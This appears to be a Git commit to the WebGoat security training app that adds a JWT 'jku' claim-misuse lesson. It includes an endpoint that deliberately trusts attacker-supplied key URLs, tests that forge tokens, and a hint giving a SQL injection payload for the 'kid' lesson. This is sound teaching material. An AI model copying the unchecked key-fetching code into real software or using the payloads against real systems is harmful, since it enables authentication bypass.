feat: implement JWT jku example (#1552)

Closes #1539
This commit is contained in:
Nanne Baars 2023-08-08 17:18:22 +02:00 committed by GitHub
parent 8f6e47e6d4
commit a9b1fd66b8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
16 changed files with 544 additions and 32 deletions

20
pom.xml
View File

@ -200,6 +200,17 @@
<artifactId>jjwt</artifactId>
<version>${jjwt.version}</version>
</dependency>
<dependency>
<groupId>com.auth0</groupId>
<artifactId>jwks-rsa</artifactId>
<version>0.22.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
@ -346,6 +357,15 @@
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
</dependency>
<dependency>
<groupId>com.auth0</groupId>
<artifactId>jwks-rsa</artifactId>
</dependency>
<!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>

View File

@ -43,6 +43,10 @@ public abstract class IntegrationTest {
return webWolfUrl + url;
}
protected String webWolfFileUrl(String fileName) {
return webWolfUrl("/files") + "/" + getUser() + "/" + fileName;
}
@BeforeEach
public void login() {
String location =

View File

@ -14,7 +14,10 @@ import io.restassured.RestAssured;
import java.io.IOException;
import java.nio.charset.Charset;
import java.security.InvalidKeyException;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.NoSuchAlgorithmException;
import java.security.interfaces.RSAPublicKey;
import java.time.Instant;
import java.util.Base64;
import java.util.Calendar;
@ -23,6 +26,8 @@ import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.jose4j.jwk.JsonWebKeySet;
import org.jose4j.jwk.RsaJsonWebKey;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
@ -40,7 +45,9 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
buyAsTom();
deleteTom();
deleteTomThroughKidClaim();
deleteTomThroughJkuClaim();
quiz();
@ -206,8 +213,7 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
CoreMatchers.is(true));
}
private void deleteTom() {
private void deleteTomThroughKidClaim() {
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(
@ -232,7 +238,54 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(url("/WebGoat/JWT/final/delete?token=" + token))
.post(url("/WebGoat/JWT/kid/delete?token=" + token))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
keyPairGenerator.initialize(2048);
KeyPair keyPair = keyPairGenerator.generateKeyPair();
var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "jwks.json", jwks.toJson().getBytes())
.post(webWolfUrl("/fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE);
header.put(JwsHeader.JWK_SET_URL, webWolfFileUrl("jwks.json"));
String token =
Jwts.builder()
.setHeader(header)
.setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org")
.setIssuedAt(Calendar.getInstance().getTime())
.setExpiration(Date.from(Instant.now().plusSeconds(60)))
.setSubject("tom@webgoat.org")
.claim("username", "Tom")
.claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
.compact();
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.post(url("/WebGoat/JWT/jku/delete?token=" + token))
.then()
.statusCode(200)
.extract()

View File

@ -0,0 +1,70 @@
package org.owasp.webgoat.lessons.jwt.claimmisuse;
import com.auth0.jwk.JwkException;
import com.auth0.jwk.JwkProvider;
import com.auth0.jwk.JwkProviderBuilder;
import com.auth0.jwt.JWT;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.exceptions.JWTVerificationException;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.interfaces.RSAPublicKey;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RequestMapping("/JWT/jku")
@RestController
@AssignmentHints({
"jwt-jku-hint1",
"jwt-jku-hint2",
"jwt-jku-hint3",
"jwt-jku-hint4",
"jwt-jku-hint5"
})
public class JWTHeaderJKUEndpoint extends AssignmentEndpoint {
@PostMapping("/follow/{user}")
public @ResponseBody String follow(@PathVariable("user") String user) {
if ("Jerry".equals(user)) {
return "Following yourself seems redundant";
} else {
return "You are now following Tom";
}
}
@PostMapping("/delete")
public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return failed(this).feedback("jwt-invalid-token").build();
} else {
try {
var decodedJWT = JWT.decode(token);
var jku = decodedJWT.getHeaderClaim("jku");
JwkProvider jwkProvider = new JwkProviderBuilder(new URL(jku.asString())).build();
var jwk = jwkProvider.get(decodedJWT.getKeyId());
var algorithm = Algorithm.RSA256((RSAPublicKey) jwk.getPublicKey());
JWT.require(algorithm).build().verify(decodedJWT);
String username = decodedJWT.getClaims().get("username").asString();
if ("Jerry".equals(username)) {
return failed(this).feedback("jwt-final-jerry-account").build();
}
if ("Tom".equals(username)) {
return success(this).build();
} else {
return failed(this).feedback("jwt-final-not-tom").build();
}
} catch (MalformedURLException | JWTVerificationException | JwkException e) {
return failed(this).feedback("jwt-invalid-token").output(e.toString()).build();
}
}
}
}

View File

@ -20,7 +20,7 @@
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.jwt;
package org.owasp.webgoat.lessons.jwt.claimmisuse;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.JwsHeader;
@ -38,28 +38,30 @@ import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
@AssignmentHints({
"jwt-final-hint1",
"jwt-final-hint2",
"jwt-final-hint3",
"jwt-final-hint4",
"jwt-final-hint5",
"jwt-final-hint6"
"jwt-kid-hint1",
"jwt-kid-hint2",
"jwt-kid-hint3",
"jwt-kid-hint4",
"jwt-kid-hint5",
"jwt-kid-hint6"
})
public class JWTFinalEndpoint extends AssignmentEndpoint {
@RequestMapping("/JWT/kid")
public class JWTHeaderKIDEndpoint extends AssignmentEndpoint {
private final LessonDataSource dataSource;
private JWTFinalEndpoint(LessonDataSource dataSource) {
private JWTHeaderKIDEndpoint(LessonDataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/JWT/final/follow/{user}")
@PostMapping("/follow/{user}")
public @ResponseBody String follow(@PathVariable("user") String user) {
if ("Jerry".equals(user)) {
return "Following yourself seems redundant";
@ -68,7 +70,7 @@ public class JWTFinalEndpoint extends AssignmentEndpoint {
}
}
@PostMapping("/JWT/final/delete")
@PostMapping("/delete")
public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) {
if (StringUtils.isEmpty(token)) {
return failed(this).feedback("jwt-invalid-token").build();

View File

@ -0,0 +1,25 @@
== Attacks
JSON Web Tokens (JWTs) have gained popularity for securely transmitting information between parties. However, like any technology, they are not immune to certain vulnerabilities and attacks. Here's an overview of various JWT attacks:
- **Token expiration manipulation**: JWTs typically contain an "exp" claim indicating the expiration time. An attacker might try to manipulate this claim to extend the validity of a token, allowing them to continue using it even after its intended expiration.
- **Token tampering**: Attackers may try to modify the token's contents, such as claims in the payload or header, to impersonate other users, gain unauthorized access, or modify permissions.
- **Token leakage**: If JWTs are not securely stored on the client side (e.g., in a cookie, local storage), they might be susceptible to cross-site scripting (XSS) attacks, leading to token leakage and potential unauthorized access.
- **Brute force attacks**: Since JWTs are self-contained, an attacker could attempt to brute force the signature by trying various combinations of secret keys to forge a valid signature.
- **Key confusion attack**: If the "kid" (key ID) claim is misused or not properly validated, an attacker could manipulate it to use a different key for signature verification, leading to unauthorized access.
- **Replay attacks**: An attacker might capture a valid JWT and use it multiple times within its validity period to impersonate the original user or repeat a specific action.
- **Token side jacking**: If JWTs are transmitted over insecure channels (e.g., unencrypted HTTP), attackers can intercept and steal them, gaining unauthorized access to user accounts.
- **Algorithm downgrade attack**: An attacker might attempt to change the "alg" claim in the header to force the use of a weaker cryptographic algorithm.
- **Token forgery**: Attackers could craft their JWTs, potentially bypassing authentication or authorization checks if validation is not robust.
- **Clock tampering**: If the server's clock can be manipulated, attackers might change the server time to extend the validity of expired tokens.
This lesson will contain some common attacks, giving you an insight into what can go wrong and how you can protect yourself against them.

View File

@ -0,0 +1,21 @@
== JWT claim misuse
JWT claim misuse refers to the improper or unauthorized manipulation of the claims within a JSON Web Token (JWT). A JWT is a compact and self-contained way to represent information between two parties. It consists of the header, the payload (claims), and the signature.
JWT claim misuse can happen in different ways:
- **Unauthorized claims**: A malicious user might try to add unauthorized claims to a JWT to gain access to certain features or resources they are not entitled to—for example, a regular user attempts to modify their JWT to claim administrator privileges.
- **Tampering claims**: An attacker might try to modify the values of existing claims in the JWT to manipulate their own identity or alter their permissions. For instance, they are changing the "user_id" claim to impersonate a different user.
- **Excessive claims**: An attacker could try to include many unnecessary or fake claims in a JWT to increase the token size and possibly disrupt the system's performance or cause other issues.
- **Expired or altered expiration claims**: If an attacker can modify the "exp" claim to extend the token's expiration time, they can effectively gain access beyond their intended session.
- **Replay attacks**: An attacker might try to reuse a valid JWT from an old session to impersonate the original user or exploit time-limited functionality.
- **Key claim manipulation**: In some cases, the "kid" (key ID) claim may be misused, as explained in the previous answer. An attacker might try manipulating the "kid" claim to use a different key for signature verification.
To prevent JWT claim misuse, it is essential to implement proper validation and verification mechanisms on both the client and server sides. Validate the claims to ensure they are valid, authorized, and relevant to the user's context. Additionally, always verify the signature of the JWT to ensure the token's integrity and protect against tampering. Following best practices for JWT implementation, secure key management, and regular key rotation will also help mitigate the risk of JWT claim misuse.
In the following two sections, we will dive into some examples of header claim misuses to give you an idea of how they work and how to protect an application.

View File

@ -0,0 +1,59 @@
== Claim misuse
Header claims misuse can occur when the header information is tampered with or manipulated inappropriately
=== JSON Web Key URL (JKU)
JKU is a part of the JWT specification that allows the JWT consumer to obtain the public key needed to verify the token's signature dynamically.
It is a URL that points to a JSON Web Key Set (JWKS) endpoint, which contains the public keys used by the issuer to sign the JWTs.
An example JKU would look like this:
[source]
----
{
"jku": "https://example.com/.well-known/jwks.json"
}
----
=== Vulnerability
JWT claim misuse with JKU The vulnerability arises when a JWT is signed with a weak or predictable key and the server provides a JKU that points to an external location hosting the public key.
Attackers can exploit this vulnerability by crafting a JWT with malicious claims and using the `jku` to trick the server into verifying the JWT using a weak or manipulated key.
It all depends on the library being used inside the application.
Some libraries block downloading from a random server by default and use a list of allowed URLs.
However, filtering on URLs is quite challenging to implement, and this can be bypassed as well.
==== Exploitation Steps:
- **Identify the JKU Endpoint**: The attacker first needs to find the JKU endpoint in the application's JWT handling logic or in any exposed configurations.
- **Generate a malicious JWT**: craft a JWT with malicious claims, altering or adding claims to gain unauthorized access or escalate privileges.
- **Sign the JWT**: Using your own private key sign the malicious JWT.
- **Send the JWT to the server**: Send the crafted JWT with the malicious claims to the server.
- **Server verification**: The server, upon receiving the JWT, validates the signature using the public key obtained from the JWKS endpoint.
- **Successful attack**: If the server uses the weak or manipulated key to verify the JWT, the attacker gains unauthorized access or executes their intended exploit.
=== Mitigation
To prevent JWT claim misuse with JKU, developers and security professionals should follow these best practices:
- **Whitelist**: utilize a whitelist to verify whether the received JKU from the token is present in the allowed list.
Be careful when comparing urls by using String comparison functions, use a whitelist instead and validate the entire url from the `jku`.
- **Static keys**: Avoid using JKU with public keys hosted on external endpoints.
Instead, use static keys that are securely managed and updated regularly.
- **Signature verification**: Ensure that the server verifies the JWT signature correctly and rejects tokens with invalid or manipulated signatures.
- **JWT validation**: Carefully validate and sanitize all JWT claims to prevent injection attacks and unauthorized access.
- **Audit and monitoring**: Regularly audit JWT usage, monitor for suspicious activity, and implement anomaly detection mechanisms.
- **Security testing**: Regularly perform security testing, including penetration testing and code reviews, to identify and remediate potential vulnerabilities.

View File

@ -1,5 +1,4 @@
== Final challenge
== Try it out...
Below you see two accounts, one of Jerry and one of Tom. Jerry wants to remove Tom's account from Twitter, but his token
can only delete his account. Can you try to help him and delete Toms account?

View File

@ -0,0 +1,73 @@
== Claim misuse
Next, we will explore the security implications of misusing the Key ID (`kid`) claim in JSON Web Tokens (JWT).
=== JSON Key ID (kid)
The Key ID(kid) indicates which key from a JSON Web Key Set (JWKS) should be used to verify the signature of the JWT.
When misused, attackers can exploit this vulnerability to gain unauthorized access to sensitive resources or perform privilege escalation.
An example KID would look like this:
[source]
----
{
"alg": "RS256",
"kid": "my_rsa_key"
}
----
=== Vulnerability
When the `kid` claim is misused, it usually means that the value of "kid" is manipulated to point to a different key than the one used to sign the token.
This manipulation can lead to various security issues:
* **Key confusion attack**: In this attack, an attacker manipulates the "kid" claim value to point to a different key than the one used to sign the token.
As a result, the recipient of the JWT will verify the signature using the wrong key, allowing the attacker to impersonate other users or perform unauthorized actions.
* **Key enumeration**: If the `kid` claim is not properly protected or is simply an incrementing number or easily predictable value, an attacker might try to guess or enumerate valid "kid" values.
By doing so, they can potentially forge JWTs with different `kid` values to find vulnerabilities or weaknesses in the system.
* **Key spoofing**: In this attack, an attacker crafts a JWT with a forged `kid` claim pointing to a non-existent or invalid key.
The intention is to bypass signature verification and potentially gain unauthorized access to resources or features.
* **Key overwrite**: An attacker might try to overwrite or modify the `kid` claim during token transmission or processing to point to a different key than originally intended.
This manipulation can lead to signature verification failures or other security issues.
* **Kidless tokens**: If a system does not require the presence of the `kid` claim, an attacker could attempt to create a JWT without including the "kid" claim at all.
This omission could lead to vulnerabilities if the recipient assumes a default or known key, which may not be secure.
* **Insecure key storage**: If the "kid" claim is combined with other weak security practices, such as storing keys in plaintext or using weak encryption, an attacker might obtain valid "kid" values and exploit the associated keys.
==== Exploitation steps:
- Identify the kid endpoint: The attacker must first find the kid endpoint in the application's JWT handling logic or any exposed configurations.
- Generate a malicious JWT: craft a JWT with malicious claims, altering or adding claims to gain unauthorized access or escalate privileges.
- Generate a `kid` which enables you to know the verification key.
- Send the JWT to the Server: Send the crafted JWT with the malicious claims to the server.
- Server verification: Upon receiving the JWT, the server validates the signature using the "crafted" KID.
- Successful attack: If the server uses the weak or manipulated key to verify the JWT, the attacker gains unauthorized access or executes their intended exploit.
=== Mitigation
To prevent JWT claim misuse with KID, developers and security professionals should follow these best practices:
- Validation: always validate the "kid" claim and ensure it points to a trusted key appropriate for signature verification.
- Key rotation: regularly rotate the keys used for signing JWTs and update the corresponding "kid" claims accordingly.
- Use strong keys: ensure that strong cryptographic keys are used to sign the tokens.
- Access control: limit access to keys and signing services to authorized personnel only.
- Rate limiting: implement rate limiting to prevent attackers from iterating through possible "kid" values.
- Monitoring: monitor and log JWT-related activities to detect potential misuse or suspicious behavior.
By following these best practices, you can reduce the risk of JWT claim misuse with the "kid" field and enhance the overall security of your system.

View File

@ -0,0 +1,6 @@
== Try it out...
Below you see two accounts, one of Jerry and one of Tom.
Jerry wants to remove Tom's account from Twitter, but his token can only delete his account.
Can you try to help him and delete Toms account?

View File

@ -36,3 +36,5 @@ be different including also the transport channel even if HTTP is the most often
-------------------------------------------------------

View File

@ -9,6 +9,10 @@
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_structure.adoc}"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_claim_misuse.adoc}"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_decode.adoc}"></div>
<div class="attack-container">
@ -299,7 +303,15 @@
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_final.adoc}"></div>
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_claim_misuse.adoc}"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_claim_misuse_jku.adoc}"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_claim_misuse_jku_assignment.adoc}"></div>
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/jwt.css}"/>
<script th:src="@{/lesson_js/bootstrap.min.js}" language="JavaScript"></script>
@ -307,7 +319,73 @@
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST"
action="/WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8">
action="/WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJqa3UiOiJodHRwczovL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tL3dlYmdvYXQvLndlbGwta25vd24vandrcy5qc29uIiwiYWxnIjoiUlMyNTYifQ.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.SabvRaYSCW7xI0ueca19TL1e66cJIJaxRiydK2G5lgFMIbL5gQQjE6022HEha9HcprqFXyHbtXrQWRXAp6Gjaf5zs8LUMBMARWjEr8TS43ihguarmLLmvBCoqjiZY39o4EcEjEH9xAoyIYR_Trh7kXn6JVU-8MM76l9IOcYIJ9c8LqT1ERNmbCqtI4PP0tdqCy99nHhqlxSCVXaGDF0jMHV5kjCDSHNYib9riy9xZ63Sztify-bwPqRvxmaShPYtG4BBM_wOGlg-BYTTuws-6yISMfTB5U1WBDwLr6dLU123TGO26wCVBgTKbA0KKG94-ToOcneWLOTEacEfQQOlIQ">
<div class="container-fluid">
<div id="toast"></div>
<div class="col-sm-6 col-md-4 col-lg-3 mt-4">
<div class="card card-inverse card-info">
<img th:src="@{/images/jerry.png}" class="card-img-top"></img>
<div class="card-block">
<figure class="profile profile-inline">
<img th:src="@{/images/jerry.png}" class="profile-avatar" alt=""></img>
</figure>
<h4 class="card-title">Jerry</h4>
<div class="card-text">
Jerry is a small, brown, house mouse.
</div>
</div>
<div class="card-footer">
<small>Last updated 12 minutes ago</small>
<button class="btn btn-info float-right btn-sm">Delete</button>
</div>
</div>
</div>
<div class="col-sm-6 col-md-4 col-lg-3 mt-4">
<div class="card card-inverse card-info">
<img th:src="@{/images/tom.png}" class="card-img-top"></img>
<div class="card-block">
<figure class="profile profile-inline">
<img th:src="@{/images/tom.png}" class="profile-avatar" alt=""></img>
</figure>
<h4 class="card-title">Tom</h4>
<div class="card-text">
Tom is a grey and white domestic short hair cat.
</div>
</div>
<div class="card-footer">
<small>Last updated 12 days ago</small>
<button type="button" class="btn btn-info float-right btn-sm"
onclick="javascript:follow('Tom')">Follow
</button>
<button class="btn btn-info float-right btn-sm">Delete</button>
</div>
</div>
</div>
</div>
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_claim_misuse_kid.adoc}"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="~{doc:lessons/jwt/documentation/JWT_claim_misuse_kid_assignment.adoc}"></div>
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/jwt.css}"/>
<script th:src="@{/lesson_js/bootstrap.min.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST"
action="/WebGoat/JWT/kid/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8">
<div class="container-fluid">
<div id="toast"></div>
<div class="col-sm-6 col-md-4 col-lg-3 mt-4">

View File

@ -26,9 +26,15 @@ jwt-refresh-alg-none=Nicely found! You solved the assignment with 'alg: none' ca
jwt-final-jerry-account=Yikes, you are removing Jerry's account, try to delete the account of Tom
jwt-final-not-tom=Username is not Tom try to pass a token for Tom
jwt-final-hint1=Take a look at the token and specifically and the header
jwt-final-hint2=The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS
jwt-final-hint3=The key can be located on the filesystem in memory or even reside in the database
jwt-final-hint4=The key is stored in the database and loaded while verifying a token
jwt-final-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token.
jwt-final-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token
jwt-jku-hint1=Take a look at the token and specifically and the header
jwt-jku-hint2=The 'jku' (key ID) header parameter is a hint indicating which key is used to verify the JWS
jwt-jku-hint3=Could you use WebWolf to host the public key as a JWKS?
jwt-jku-hint4=Create a key pair and sign the token with the private key
jwt-jku-hint5=Change the JKU header claim and point it to a URL which hosts the public key in JWKS format.
jwt-kid-hint1=Take a look at the token and specifically and the header
jwt-kid-hint2=The 'kid' (key ID) header parameter is a hint indicating which key was used to secure the JWS
jwt-kid-hint3=The key can be located on the filesystem in memory or even reside in the database
jwt-kid-hint4=The key is stored in the database and loaded while verifying a token
jwt-kid-hint5=Using a SQL injection you might be able to manipulate the key to something you know and create a new token.
jwt-kid-hint6=Use: hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS -- as the kid in the header and change the contents of the token to Tom and hit the endpoint with the new token

View File

@ -0,0 +1,95 @@
package org.owasp.webgoat.lessons.jwt.claimmisuse;
import static com.github.tomakehurst.wiremock.client.WireMock.aResponse;
import static com.github.tomakehurst.wiremock.core.WireMockConfiguration.options;
import static io.jsonwebtoken.SignatureAlgorithm.RS256;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import com.github.tomakehurst.wiremock.WireMockServer;
import com.github.tomakehurst.wiremock.client.WireMock;
import io.jsonwebtoken.Jwts;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.interfaces.RSAPublicKey;
import java.util.HashMap;
import java.util.Map;
import org.jose4j.jwk.JsonWebKeySet;
import org.jose4j.jwk.RsaJsonWebKey;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.jwt.JWT;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
class JWTHeaderJKUEndpointTest extends LessonTest {
private KeyPair keyPair;
private WireMockServer webwolfServer;
private int port;
@BeforeEach
public void setup() throws Exception {
when(webSession.getCurrentLesson()).thenReturn(new JWT());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
setupWebWolf();
this.keyPair = generateRsaKey();
}
private void setupWebWolf() {
this.webwolfServer = new WireMockServer(options().dynamicPort());
webwolfServer.start();
this.port = webwolfServer.port();
}
private KeyPair generateRsaKey() throws Exception {
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
keyPairGenerator.initialize(2048);
return keyPairGenerator.generateKeyPair();
}
@Test
void solve() throws Exception {
setupJsonWebKeySetInWebWolf();
var token = createTokenAndSignIt();
mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/jku/delete").param("token", token).content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@Test
@DisplayName("When JWKS is not present in WebWolf then the call should fail")
void shouldFailNotPresent() throws Exception {
var token = createTokenAndSignIt();
mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/jku/delete").param("token", token).content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(false)));
}
private String createTokenAndSignIt() {
Map<String, Object> claims = new HashMap<>();
claims.put("username", "Tom");
var token =
Jwts.builder()
.setHeaderParam("jku", "http://localhost:%d/files/jwks".formatted(port))
.setClaims(claims)
.signWith(RS256, this.keyPair.getPrivate())
.compact();
return token;
}
private void setupJsonWebKeySetInWebWolf() {
var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
webwolfServer.stubFor(
WireMock.get(WireMock.urlMatching("/files/jwks"))
.willReturn(aResponse().withStatus(200).withBody(jwks.toJson())));
}
}

View File

@ -1,4 +1,4 @@
package org.owasp.webgoat.lessons.jwt;
package org.owasp.webgoat.lessons.jwt.claimmisuse;
import static org.hamcrest.Matchers.is;
import static org.mockito.Mockito.when;
@ -14,10 +14,11 @@ import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.owasp.webgoat.lessons.jwt.JWT;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
public class JWTFinalEndpointTest extends LessonTest {
public class JWTHeaderKIDEndpointTest extends LessonTest {
private static final String TOKEN_JERRY =
"eyJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTNTEyIn0.eyJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IkplcnJ5In0.xBc5FFwaOcuxjdr_VJ16n8Jb7vScuaZulNTl66F2MWF1aBe47QsUosvbjWGORNcMPiPNwnMu1Yb0WZVNrp2ZXA";
@ -42,7 +43,7 @@ public class JWTFinalEndpointTest extends LessonTest {
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key)
.compact();
mockMvc
.perform(MockMvcRequestBuilders.post("/JWT/final/delete").param("token", token).content(""))
.perform(MockMvcRequestBuilders.post("/JWT/kid/delete").param("token", token).content(""))
.andExpect(status().isOk())
.andExpect(jsonPath("$.lessonCompleted", is(true)));
}
@ -51,9 +52,7 @@ public class JWTFinalEndpointTest extends LessonTest {
public void withJerrysKeyShouldNotSolveAssignment() throws Exception {
mockMvc
.perform(
MockMvcRequestBuilders.post("/JWT/final/delete")
.param("token", TOKEN_JERRY)
.content(""))
MockMvcRequestBuilders.post("/JWT/kid/delete").param("token", TOKEN_JERRY).content(""))
.andExpect(status().isOk())
.andExpect(
jsonPath(
@ -64,7 +63,7 @@ public class JWTFinalEndpointTest extends LessonTest {
public void shouldNotBeAbleToBypassWithSimpleToken() throws Exception {
mockMvc
.perform(
MockMvcRequestBuilders.post("/JWT/final/delete")
MockMvcRequestBuilders.post("/JWT/kid/delete")
.param("token", ".eyJ1c2VybmFtZSI6IlRvbSJ9.")
.content(""))
.andExpect(status().isOk())